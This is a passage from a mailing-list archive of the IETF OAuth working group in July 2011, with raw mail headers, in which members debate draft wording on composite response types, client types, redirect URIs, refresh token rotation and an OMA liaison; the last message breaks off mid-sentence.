oauth@ietf.org > *Subject:* [OAUTH-WG] Issue 18: defining new response types > > I agree that this functionality is needed. However, I believe its > current embodiment is overly restrictive. I would suggest changing > this text: > > Only one response type of each combination may be registered and used > for making requests. Composite response types are treated and compared > in the same as manner as non-composite response types. The "+" > notation is meant only to improve human readability and is not used > for machine parsing. > > For example, an extension can define and register the > token+coderesponse type. However, once registered, the same > combination cannot be registered as code+token, or used to make an > authorization request. > > to this: > > The order of the composite response type values is not significant. > For instance, the composite response types token+codeand code+tokenare > equivalent. Each composite response type value MUST occur only once. > > Thanks, > > -- Mike > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------080804010706020801090508 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit So far response type values are just strings one need to compare literally. What use case justifies the more complex proposal?

regards,
Torsten.

Am 15.07.2011 19:44, schrieb Eran Hammer-Lahav:

I was only arguing against the proposed text which doesn’t accomplish what you want from a normative perspective. I can easily address the use case with very short prose but I would like to see more working group discussion about it first.

 

Seems like WG members representing three large OAuth implementations (Facebook, Google, Microsoft) are very supportive. Does anyone objects to making the change to allow space-delimited values in the response_type parameter? Once we get consensus on that, I can proceed to offer a proposal. The main difficulty is how to deal with errors.

 

EHL

 

From: Mike Jones [mailto:Michael.Jones@microsoft.com]
Sent: Friday, July 15, 2011 10:16 AM
To: Eran Hammer-Lahav; oauth@ietf.org
Subject: RE: Issue 18: defining new response types

 

Yes, that’s the intent of the change

 

From: Eran Hammer-Lahav [mailto:eran@hueniverse.com]
Sent: Friday, July 15, 2011 10:14 AM
To: Mike Jones; oauth@ietf.org
Subject: RE: Issue 18: defining new response types

 

You can’t have it both way. Either it is a simple string comparison or it requires parsing of the string. The current prose is designed to offer a visual cue without making any code changes to how response types are compared. To allow different orders, we have to turn the value to a parsed list.

 

EHL

 

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Mike Jones
Sent: Friday, July 15, 2011 10:02 AM
To: oauth@ietf.org
Subject: [OAUTH-WG] Issue 18: defining new response types

 

I agree that this functionality is needed.  However, I believe its current embodiment is overly restrictive.  I would suggest changing this text:

Only one response type of each combination may be registered and used for making requests. Composite response types are treated and compared in the same as manner as non-composite response types. The "+" notation is meant only to improve human readability and is not used for machine parsing.

For example, an extension can define and register the token+code response type. However, once registered, the same combination cannot be registered as code+token, or used to make an authorization request.

to this:

The order of the composite response type values is not significant.  For instance, the composite response types token+code and code+token are equivalent.  Each composite response type value MUST occur only once.

                                                                Thanks,

                                                                -- Mike

 


_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
--------------080804010706020801090508-- From torsten@lodderstedt.net Wed Jul 20 13:56:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8A87721F89C2 for ; Wed, 20 Jul 2011 13:56:11 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.949 X-Spam-Level: X-Spam-Status: No, score=-1.949 tagged_above=-999 required=5 tests=[AWL=0.300, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id EKcxXxoU5cbZ for ; Wed, 20 Jul 2011 13:56:11 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.31.35]) by ietfa.amsl.com (Postfix) with ESMTP id EE3BF21F89C1 for ; Wed, 20 Jul 2011 13:56:10 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QjdoO-0004tV-W9 for oauth@ietf.org; Wed, 20 Jul 2011 22:56:09 +0200 Message-ID: <4E2740E9.5000209@lodderstedt.net> Date: Wed, 20 Jul 2011 22:56:09 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 20:56:11 -0000 2.1 Client types I'm struggeling with the new terminology of "private" and "public" clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. Moreover, I think merging section 2.1 with the text on client types in section 10 would make sense for the following reasons: - there is large overlap between them - It would introduce the term "native application" before it is used for the first time in Section 9 2.2. Registration Requirements Why is the redirect URI a MUST? It should be a MUST for clients using the implicit grant and probably for "private" clients but why generally? I would suggest to change this to RECOMMENDED. 2.4 Client Authentication "In addition, the client and authorization server establish a client authentication method suitable for the client type and security requirements of the authorization server." Does this hold true for public clients? 2.4.1 Client Password "" From torsten@lodderstedt.net Wed Jul 20 13:59:05 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C68B921F8AB9 for ; Wed, 20 Jul 2011 13:59:05 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.999 X-Spam-Level: X-Spam-Status: No, score=-1.999 tagged_above=-999 required=5 tests=[AWL=0.250, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zSrQ5rNUh+7g for ; Wed, 20 Jul 2011 13:58:58 -0700 (PDT) Received: from smtprelay03.ispgateway.de (smtprelay03.ispgateway.de [80.67.31.41]) by ietfa.amsl.com (Postfix) with ESMTP id 4BAF421F8A97 for ; Wed, 20 Jul 2011 13:58:58 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay03.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qjdr7-00022G-1c for oauth@ietf.org; Wed, 20 Jul 2011 22:58:57 +0200 Message-ID: <4E274191.6020207@lodderstedt.net> Date: Wed, 20 Jul 2011 22:58:57 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG References: <4E2740E9.5000209@lodderstedt.net> In-Reply-To: <4E2740E9.5000209@lodderstedt.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 20:59:05 -0000 2.1 Client types I'm struggeling with the new terminology of "private" and "public" clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. Moreover, I think merging the text on client types in section 10 into section 2.1 would make sense for the following reasons: - there is large overlap between them - It would introduce the term "native application" before it is used for the first time in Section 9 2.2. Registration Requirements Why is the redirect URI a MUST? It should be a MUST for clients using the implicit grant and probably for "private" clients but why generally? I would suggest to change this to RECOMMENDED. 2.4 Client Authentication "In addition, the client and authorization server establish a client authentication method suitable for the client type and security requirements of the authorization server." Does this hold true for public clients? 2.4.1 Client Password "Clients in possession of a client password MAY " Why not SHOULD? regards, Torsten. Am 20.07.2011 22:56, schrieb Torsten Lodderstedt: > 2.1 Client types > > I'm struggeling with the new terminology of "private" and "public" > clients. In my perception, the text just distinguishes clients which > can be authenticated and such which cannot. This is fine but I > consider the wording misleading. I would suggest to change it to > something like trusted/untrusted or authenticated/unauthenticated or > Verifiable/Forgeable. > > Moreover, I think merging section 2.1 with the text on client types in > section 10 would make sense for the following reasons: > - there is large overlap between them > - It would introduce the term "native application" before it is used > for the first time in Section 9 > > 2.2. Registration Requirements > > Why is the redirect URI a MUST? It should be a MUST for clients using > the implicit grant and probably for "private" clients but why > generally? I would suggest to change this to RECOMMENDED. > > 2.4 Client Authentication > > "In addition, the client and authorization server establish a client > authentication method suitable for the client type and security > requirements of the authorization server." > > Does this hold true for public clients? > > 2.4.1 Client Password > > "" > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From torsten@lodderstedt.net Wed Jul 20 14:15:01 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C5EDF21F88A0 for ; Wed, 20 Jul 2011 14:15:01 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.034 X-Spam-Level: X-Spam-Status: No, score=-2.034 tagged_above=-999 required=5 tests=[AWL=0.215, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vjbMUcWoHcwS for ; Wed, 20 Jul 2011 14:15:01 -0700 (PDT) Received: from smtprelay03.ispgateway.de (smtprelay03.ispgateway.de [80.67.31.41]) by ietfa.amsl.com (Postfix) with ESMTP id 4825121F851A for ; Wed, 20 Jul 2011 14:15:01 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay03.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qje6d-0005Fw-Qr for oauth@ietf.org; Wed, 20 Jul 2011 23:14:59 +0200 Message-ID: <4E274554.5070606@lodderstedt.net> Date: Wed, 20 Jul 2011 23:15:00 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 21:15:01 -0000 "The authorization server redirects the user-agent to the client's redirection URI previously established with the authorization server during the client registration process." Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via URI query parameter. 3.1.2.1 Endpoint Confidentiality What does "endpoint" confidentiality mean? Which endpoint does this text refer to? The client's redirect_uri endpoint? The text, in my opinion, covers two different scenarios: first paragraph: confidentiality of access tokens and authz codes in transit. second paragraph/last sentence: men-in-the-middle attacks Those attacks are also covered in sections 10.5 and 10.8. 3.1.2.5. Endpoint Content As this section discusses security aspects of the client's implementation of the redirect_uri page, shouldn't this go to the security considerations section? regards, Torsten. From torsten@lodderstedt.net Wed Jul 20 14:18:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AD6EA21F8555 for ; Wed, 20 Jul 2011 14:18:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.061 X-Spam-Level: X-Spam-Status: No, score=-2.061 tagged_above=-999 required=5 tests=[AWL=0.188, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LWU3e+go9mKm for ; Wed, 20 Jul 2011 14:18:43 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.103]) by ietfa.amsl.com (Postfix) with ESMTP id 2895021F854C for ; Wed, 20 Jul 2011 14:18:43 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay06.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QjeAD-00032O-5P for oauth@ietf.org; Wed, 20 Jul 2011 23:18:41 +0200 Message-ID: <4E274632.8030003@lodderstedt.net> Date: Wed, 20 Jul 2011 23:18:42 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Issue 17, new token endpoint Client Authentication section (3.2.1) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 21:18:43 -0000 just a minor issue "In addition, this specification does not provide a mechanism for refresh token rotation." The spec provides a mechanisms. It allows for the issuance of a new refresh token with every request to referesh an access token. regards, Torsten. From torsten@lodderstedt.net Wed Jul 20 14:49:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 903C221F8906 for ; Wed, 20 Jul 2011 14:49:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.082 X-Spam-Level: X-Spam-Status: No, score=-2.082 tagged_above=-999 required=5 tests=[AWL=0.167, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0h6W6Y9sgZcc for ; Wed, 20 Jul 2011 14:49:23 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.31.27]) by ietfa.amsl.com (Postfix) with ESMTP id C3B1021F88A0 for ; Wed, 20 Jul 2011 14:49:22 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qjeds-0004uE-BW for oauth@ietf.org; Wed, 20 Jul 2011 23:49:20 +0200 Message-ID: <4E274D61.4020804@lodderstedt.net> Date: Wed, 20 Jul 2011 23:49:21 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Comments on -18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 21:49:23 -0000 section 1.5 "(A) The client requests an access token by authenticating with the authorization server, and presenting an authorization grant." This statement does not reflect that client authentication is not always required. Proposal: "The client requests an access token by presenting an authorization grant. The authorization server may require the client to authenticate as a pre-requisite." section 4.1 "(D) The client requests an access token from the authorization server's token endpoint by including the authorization code received in the previous step. When making the request, the client authenticates with the authorization server." Same as above. Proposal: ".... When making the request, the client may be required to authenticate with the authorization server" "(E) The authorization server authenticates the client, validates the authorization code, and ensures the redirection URI received matches the URI used to redirect the client in step (C)." Same as above. Additionally, is the URI check also required if the client did not passed a redirect uri but relied on its pre-registered redirect_uri? section 4.1.1 "state" parameter: Would it make sense to elaborate on the usage of this parameter and its importance for preventing CSRF attacks (incl. the nessessary entropy)? Alternatively, a reference to the security consideration section could be added. section 4.1.3 "If the client type is private or was issued client credentials ..." Isn't the later the most important property of a "private" client? If so, "or was issued client credentials" is redundant. section 4.4.3 "A refresh token SHOULD NOT be included." Why not "MUST NOT"? section 5.2 "The authorization server MAY return an HTTP 401 (Unauthorized) status code to indicate which HTTP authentication schemes are supported." Given the usage of HTTP authentication schemes is the way to authenticated client recommended by the spec, status code 401 should be the default status code for this kind of error. Usage of status code 400 should be the exception. "unauthorized_client" So above - status code 403 seems to be a more appropriate default. section 10 "and furthermore that rotation of the client authentication credentials is impractical." What does this mean? Please update reference [I-D.lodderstedt-oauth-security] to [I-D.ietf-oauth-v2-threatmodel]. section 10.2 last sentence: "... ensure the repeated request comes from an authentic client and not an impersonator." The authorization server must ensure that the request comes from the same client not just any authentic client. So I would propose to adjust the text as follows: "... ensure the repeated request comes from the original client and not an impersonator." section 10.3 "Access token (as well as any type-specific attributes) MUST ..." does "type-specific" refer to access token type specific? If so, please add this information. section 10.6 Please replace the first sentence with the following text: "Such an attack leverages the authorization code ..." From wmills@yahoo-inc.com Wed Jul 20 21:22:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D923B21F8551 for ; Wed, 20 Jul 2011 21:22:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -16.605 X-Spam-Level: X-Spam-Status: No, score=-16.605 tagged_above=-999 required=5 tests=[AWL=-0.496, BAYES_05=-1.11, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GueJbI--iIUo for ; Wed, 20 Jul 2011 21:22:13 -0700 (PDT) Received: from nm1-vm0.bullet.mail.ac4.yahoo.com (nm1-vm0.bullet.mail.ac4.yahoo.com [98.139.53.202]) by ietfa.amsl.com (Postfix) with SMTP id BDE4921F85CD for ; Wed, 20 Jul 2011 21:22:12 -0700 (PDT) Received: from [98.139.52.197] by nm1.bullet.mail.ac4.yahoo.com with NNFMP; 21 Jul 2011 04:22:09 -0000 Received: from [98.139.52.129] by tm10.bullet.mail.ac4.yahoo.com with NNFMP; 21 Jul 2011 04:22:09 -0000 Received: from [127.0.0.1] by omp1012.mail.ac4.yahoo.com with NNFMP; 21 Jul 2011 04:22:09 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 685716.66715.bm@omp1012.mail.ac4.yahoo.com Received: (qmail 6743 invoked by uid 60001); 21 Jul 2011 04:22:09 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1311222129; bh=/ZCeV8H2gQp1eaA3pkyN3stHKJnbJUfRwUmBvd2eeXU=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=bRnYB7ysqbO5ynjg87gOhpBqMJ8dMdvfcNPg9gLIoHk7GzaVsAjsulZeG3U3ooRdtM3gk4+cBiEK9aYOm/syzEPsArinAFPzEAwJvw4+nQ+Gx7jCSZalFPLDJiuhlPtt/6KJ/rhbgyGAHY3QYIOXp/AFzMl/2lf5dTfqdgKNBsA= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=AgX0pdt9d/qYkwYotPaH3/umBkpLOBPV+3+qN2DGWwCXU6kt7inwprJVCO0ICZ7ScUjmwAhX9KKajpxS9DpibX7yyvHKrkPBjYd9FXo51/IFy0h6/+FJlrP7wL7PGQknrA8WSnl8IOBAL25+lrEbWHIVVII7Gn+ZubDYa3JjFfE=; X-YMail-OSG: 8CyJkukVM1mt__5L.8aQp1EjD7l97ck5F2ytMjVrQjzjOak 4qN4A9Y3di.vHR2q4aHplR4V4vfqgEXOTTDggSz1Hv_xa4mSD0W1gEuHy0PL PBHvdaznJM1NrrKca3s0UJcDXGrDHND8T0fr78deOyElZj.i7Bm0oEJb60NO hIuGC4P9pJ5Wd6gOcMhdekHgXQcT1SM7Y9uCMwPS114tVqXN.jahaxu5DHKX Gt2YPlCW_AL3F5GmZibXnNGN9_rwMfP4ZYPtDPhMyZZAUagg5kerT3TWU.kU Wi6Aq3QpqxYBGcEaM929AsSDXdabweEI7vRBim8quW3joHhDr5RpxjVlIy1y dvxulJX2uv9RDGNLkZdvxlg-- Received: from [99.31.212.42] by web31801.mail.mud.yahoo.com via HTTP; Wed, 20 Jul 2011 21:22:08 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.113.313619 References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> <1310315898.93782.YahooMailNeo@web31802.mail.mud.yahoo.com> <6bb0fea2-48e6-4c70-93a4-ba4528a0f9b8@email.android.com> <1310484568.80888.YahooMailNeo@web31808.mail.mud.yahoo.com> Message-ID: <1311222128.42372.YahooMailNeo@web31801.mail.mud.yahoo.com> Date: Wed, 20 Jul 2011 21:22:08 -0700 (PDT) From: "William J. Mills" To: Brian Eaton In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1767752970-1311222128=:42372" Cc: OAuth WG Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Jul 2011 04:22:14 -0000 --0-1767752970-1311222128=:42372 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Key rotation I understand.=A0 Forcing expiry on every reissue seems extreme= though.=0A=0A=0A=0A________________________________=0AFrom: Brian Eaton =0ATo: William J. Mills =0ACc: Torst= en Lodderstedt ; Eran Hammer-Lahav ; OAuth WG =0ASent: Tuesday, July 12, 2011 9:32 AM=0A= Subject: Re: [OAUTH-WG] Refresh token security considerations=0A=0AOn Tue, = Jul 12, 2011 at 8:29 AM, William J. Mills wrote:=0A>= Why would you re-issue a refresh token every usage?=A0 What's the use case= =0A> where this makes sense?=0A=0AIt's key rotation built into the protocol= .=A0 Even if a refresh token is=0Astolen, it's going to become useless to t= he attacker very quickly.=0A=0AMy main concern with rotating refresh tokens= with every use is that it=0Acan cause problems with distributed client app= s; they have to keep the=0Arefresh token in sync, and it adds complexity.= =A0 But for desktop and=0Amobile apps it's quite a good idea.=0A=0A(You can= see a similar design in how Active Directory manages kerberos=0Amachine ke= ys.=A0 They took a slightly different approach, in that the=0Aclient machin= es phone home to change their keys, but it provides=0Asimilar benefits.) --0-1767752970-1311222128=:42372 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
Key rotation I understand.  Forcing expiry on every reissue seems ex= treme though.

From: Brian Eaton <beaton@google.com>
To: William J. Mills <wmills@yah= oo-inc.com>
Cc: Tors= ten Lodderstedt <torsten@lodderstedt.net>; Eran Hammer-Lahav <eran= @hueniverse.com>; OAuth WG <oauth@ietf.org>
Sent: Tuesday, July 12, 2011 9:32 AM
Subject: Re: [OAUTH-WG] Refresh to= ken security considerations

On Tue, Jul 12, 2011 at 8:29 AM, = William J. Mills <wmills@yahoo-inc.com> wrote:
> Why w= ould you re-issue a refresh token every usage?  What's the use case> where this makes sense?

It's key rotation built into the proto= col.  Even if a refresh token is
stolen, it's going to become usele= ss to the attacker very quickly.

My main concern with rotating refre= sh tokens with every use is that it
can cause problems with distributed = client apps; they have to keep the
refresh token in sync, and it adds co= mplexity.  But for desktop and
mobile apps it's quite a good idea.<= br>
(You can see a similar design in how Active Directory manages kerber= os
machine keys.  They took a slightly different approach, in that the
client machines phone home to change their keys, but it providessimilar benefits.)


--0-1767752970-1311222128=:42372-- From igor.faynberg@alcatel-lucent.com Wed Jul 20 22:39:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E9DCA21F8AC3 for ; Wed, 20 Jul 2011 22:39:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.599 X-Spam-Level: X-Spam-Status: No, score=-7.599 tagged_above=-999 required=5 tests=[AWL=1.000, BAYES_00=-2.599, GB_I_LETTER=-2, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id tZ+Qjze5kSPr for ; Wed, 20 Jul 2011 22:39:45 -0700 (PDT) Received: from ihemail2.lucent.com (ihemail2.lucent.com [135.245.0.35]) by ietfa.amsl.com (Postfix) with ESMTP id 8DBF521F8ABD for ; Wed, 20 Jul 2011 22:39:45 -0700 (PDT) Received: from usnavsmail3.ndc.alcatel-lucent.com (usnavsmail3.ndc.alcatel-lucent.com [135.3.39.11]) by ihemail2.lucent.com (8.13.8/IER-o) with ESMTP id p6L5di46004782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 21 Jul 2011 00:39:44 -0500 (CDT) Received: from umail.lucent.com (umail-ce2.ndc.lucent.com [135.3.40.63]) by usnavsmail3.ndc.alcatel-lucent.com (8.14.3/8.14.3/GMO) with ESMTP id p6L5di8a004152 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Thu, 21 Jul 2011 00:39:44 -0500 Received: from [135.244.34.25] (faynberg.lra.lucent.com [135.244.34.25]) by umail.lucent.com (8.13.8/TPES) with ESMTP id p6L5dcqU026006; Thu, 21 Jul 2011 00:39:38 -0500 (CDT) Message-ID: <4E27BB99.3000304@alcatel-lucent.com> Date: Thu, 21 Jul 2011 01:39:37 -0400 From: Igor Faynberg Organization: Alcatel-Lucent User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: oauth@ietf.org References: <4E0E39EA.7040809@lodderstedt.net> <4E0E41C9.3090608@alcatel-lucent.com> In-Reply-To: <4E0E41C9.3090608@alcatel-lucent.com> Content-Type: multipart/alternative; boundary="------------060005080705020001070004" X-Scanned-By: MIMEDefang 2.57 on 135.245.2.35 X-Scanned-By: MIMEDefang 2.64 on 135.3.39.11 Subject: [OAUTH-WG] OMA Liaison Has Arrived! [ was Re: Deutsche Telekom launched OAuth 2.0 support] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: igor.faynberg@alcatel-lucent.com List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 21 Jul 2011 05:39:47 -0000 This is a multi-part message in MIME format. --------------060005080705020001070004 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Friends, I have intentionally used this thread, on which 1001 messages ago I mentioned the OMA and ITU-T work. Since then I got several private queries, and I am happy to say that the liaison from OMA has arrived (although it has a little glitch, which made me write this otherwise redundant message): https://datatracker.ietf.org/liaison/1069/. The glitch is that the liaison description mistakenly says that 1) the liaison is sent for information and 2) that there is no deadline in response. Section 3 of the document, however, specifies an action for the IETF, and it also gives the deadline of the end of August. This is why I wanted to get the immediate attention. (Another little glitch is that it was supposed to be copied to the OAuth WG, according to the CC list, but this did not happen.) I must say up fornt that I do NOT represent OMA and have no authority whatsoever to speak for it. The reason I am involved in this is because I have been an ardent supporter of OAuth both in my company and in the telecom industry and it has been my vision that the telecom adapt OAuth and combine it with the mobile authentication methods--well I had spoken a lot about that on this list and indicated just this interest in the early profile query. This should make it clear why I am so enthusiastic about OAuth being accepted, and I would like to make sure that we help transition this great product of the OAuth WG. OMA is the center for standardizing mobile applications infrastructure, and its standards are widely used in telecommunictiations industry. Now, OMA has appointed an official Liaison Officer whose role is to speak for OMA officially. In addition, the response--if produced in written form--should by sent to Zhiyuan Hu, who chairs the OMA security group. Handling the liaisons is the IAB job, and the decision on how to process this specific one belongs to OAuth chairmen inasmuch as it has been directed to OAuth. Having dealt with this procedure before, I understand that the communication can emanate directly from them or IAB can appoint a liaison to OMA, who will convey future communications. But this is a procedural matter, and I am sure it will be well sorted out. (In fact, I remember Barry dealing with the OMA liaison in his other group quite expertly.) The technical lead for this work in OMA is my colleague Jerome Marcon (copied here). Jerome knows OAuth as only developers do -- he has implemented 